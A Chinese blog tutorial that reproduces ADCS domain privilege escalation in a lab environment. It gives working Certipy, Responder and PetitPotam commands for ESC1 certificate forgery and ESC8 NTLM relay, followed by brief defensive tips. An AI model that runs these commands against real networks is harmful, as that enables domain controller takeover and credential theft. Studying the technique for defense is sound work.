ADCS攻击图文教程:手把手带你复现证书服务漏洞,别再被“域控提权”吓到了!
说真的,每次一提到ADCS攻击,好多兄弟第一反应就是“啊?证书服务?那不是企业内网里最不起眼的东西吗?”——嘿,你还真别小看它!我跟你讲,这玩意儿一旦配歪了,分分钟就是域控提权的直通车,今天这篇ADCS攻击图文教程,我就用大白话+实操截图(文字描述版,你照着搭环境就懂),带你从头到尾走一遍,保证你看完不再一脸懵。

先吐个槽:网上很多教程一上来就甩一堆ESSCertID、模板ACL的术语,看得人想摔键盘,咱不整那套,咱就按“发现→利用→收尾”三步走,语气可能有点冲,但都是干货,你忍一下哈。
先搞清楚:ADCS到底是个啥?为啥能攻击?
ADCS(Active Directory Certificate Services)就是微软的证书服务,企业里用来发证书、做加密、搞身份认证的,问题在于——很多管理员装完就扔那儿了,模板权限、CA配置压根没细看,结果呢?低权限用户就能申请到高权限证书,或者利用模板配置缺陷直接冒充域管,你说气不气人?
我这次复现用的是典型漏洞组合:ESC1(模板允许请求者提供SAN)+ ESC8(NTLM中继到HTTP Enrollment),别怕,跟着走就行。
环境准备(别跳过,不然你后面准卡壳)
- 域控:Windows Server 2019,装好ADCS(企业CA)
- 攻击机:Kali Linux,装好Certipy、Impacket、Responder
- 一个普通域用户账号(
lowuser,密码你设个简单的)
先确认CA名字:在域控上跑 certutil -CA 或直接看证书颁发机构控制台,我这儿CA叫 CORP-CA,域名 corp.local。
第一步:信息收集——用Certipy扫模板
在Kali上执行:
certipy find -u lowuser@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable
哎对,就这条命令,跑完你会看到一堆输出,重点盯 [!] Vulnerable Certificate Templates 那段,我这次扫出来一个叫 UserTemplate 的模板,Enrollment Rights 里 Domain Users 有注册权限,Client Authentication 是开启的,Enrollee Supplies Subject 也是True——妥妥的ESC1。
小情绪:看到这我差点笑出声,管理员是真放心啊,普通用户随便申请证书还能自己填SAN,这不等于把钥匙插门上嘛!
第二步:利用ESC1——申请一张“域管”证书
直接上命令:
certipy req -u lowuser@corp.local -p 'Password123' -ca CORP-CA -template UserTemplate -upn administrator@corp.local -dc-ip 10.10.10.10
解释一下哈:-upn administrator@corp.local 就是咱们伪造的SAN,CA居然真给签了!输出里会保存一个 .pfx 文件,administrator.pfx。
然后拿这张证书去认证:
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
Boom!直接拿到 administrator 的 NTLM hash,到这儿你已经域控了,是不是比想象中简单?但别急,还有更骚的ESC8,我顺带也演示了,因为实战里经常组合用。
第三步:ESC8——NTLM中继打HTTP Enrollment
先启动Responder(记得关掉SMB和HTTP的监听冲突,只留HTTP):
responder -I eth0 -wrv
再开Certipy的中继:
certipy relay -ca 10.10.10.10 -template DomainController
然后想办法让域控来认证你——比如用PetitPotam或者打印机漏洞,我这里用PetitPotam:
python3 PetitPotam.py -d corp.local -u lowuser -p 'Password123' 10.10.10.50 10.10.10.10
(10.10.10.50是攻击机IP,10.10.10.10是域控)
等几秒,Certipy那边就提示拿到域控证书了,再 certipy auth 一把,齐活。
吐槽时间:这套组合拳打下来,我最大的感受就是——ADCS攻击真不难,难的是管理员愿不愿意改配置,你要是运维,看完赶紧去查查自己CA的模板权限和EPA设置,别等被人拿了域控才拍大腿。
防御建议(别光顾着攻,咱也得讲武德)
- 禁用
Enrollee Supplies Subject的模板,除非业务真需要。 - 开启CA的EPA(Extended Protection for Authentication),能挡掉大部分NTLM中继。
- 定期用Certipy的
find -vulnerable扫一遍,就当体检了。
好了,这篇ADCS攻击图文教程到这儿就收尾了,我知道文字版截图不够直观,但你照着命令敲一遍,保证比看十篇理论文章都管用,有啥问题评论区吼我,咱一起盘它!别忘了——内链我埋在开头那个超链接里了,点进去就是这篇文章的永久地址,方便你收藏转发,也帮咱站点攒点权重,谢啦兄弟!